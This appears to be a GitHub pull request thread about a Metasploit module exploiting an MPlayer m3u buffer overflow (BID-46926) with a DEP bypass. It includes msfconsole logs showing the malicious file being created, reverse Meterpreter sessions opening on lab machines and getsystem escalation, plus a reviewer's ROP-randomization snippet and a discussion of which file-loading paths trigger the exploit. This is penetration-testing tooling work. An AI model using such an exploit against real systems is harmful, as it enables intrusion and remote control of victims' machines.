Add module for BID-46926

[sgabe]

This PR attempts to rescue a module which I found in the unstable branch, see the original feature request. This module is a complete rewrite with DEP bypass functionality. The vulnerable app here can be downloaded from Exploit-DB.

Test run results below:

msf > use exploit/windows/fileformat/mplayer_m3u_bof
msf exploit(mplayer_m3u_bof) > run

[*] Creating 'msf.m3u' file ...
[+] msf.m3u stored at /home/gabor/.msf4/local/msf.m3u
msf exploit(mplayer_m3u_bof) > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.171.128:4446
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.171.129
[*] Meterpreter session 1 opened (192.168.171.128:4446 -> 192.168.171.129:1068) at 2014-01-24 00:56:42 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >

[wchen-r7]

I'm sure this works fine, but could you please randomize this a little bit? Usually this is how we do it:

  # Returns an integer that's used as a 4-byte ROP junk (or compensator, whatever it's called)
  def junk
    rand_text_alpha(4).unpack("V").first
  end

[wchen-r7]

So. Good news and bad news for you.

The good news, I got a shell while testing this exploit:

msf exploit(handler) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.0.1.84
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.84:3042) at 2014-01-24 02:30:30 -0600

meterpreter >

The bad news: I only get a shell when I drag and drop the m3u file to the interface. If I first go to "Playst" -> "Add File" and add the m3u file to the list, double click on the m3u file, it will crash. Haven't looked into the root cause of that yet, but I'm guessing it just requires a different memory layout. So how did you test yours?

[sgabe]

I am testing it by clicking on that little something in the top left corner which brings up the menu then I choose File -> Open or just simply press Ctrl+O and select the file. I did not try the scenario you mention.

[sgabe]

@wchen-r7, I have made the modifications you mentioned.

[wchen-r7]

Just verifying some scenarios here:

press Ctrl+O and select the file.

Yup, this scenario works for me.

choose File -> Open

This works for me, too.

So apparently the only scenario that doesn't work is when you first bring up the playlist menu, and load the malicious file from there.

[sgabe]

And you also mentioned drag & drop as a working scenario, that counts for three. The fourth scenario (loading via the playlist menu) seems to be a different issue and not just different memory layout, I mean no stack overflow there...

In this scenario the program attempts to iterate trough the playlist. If I use a correct and existing URL the app plays the file, but if I break the address by changing only one character, it crashes. I took a look on the source and the crash occurs when it attempts to check the protocol in the 'filename' (which would be our URL entry), but that is actually nulled out so it crashes.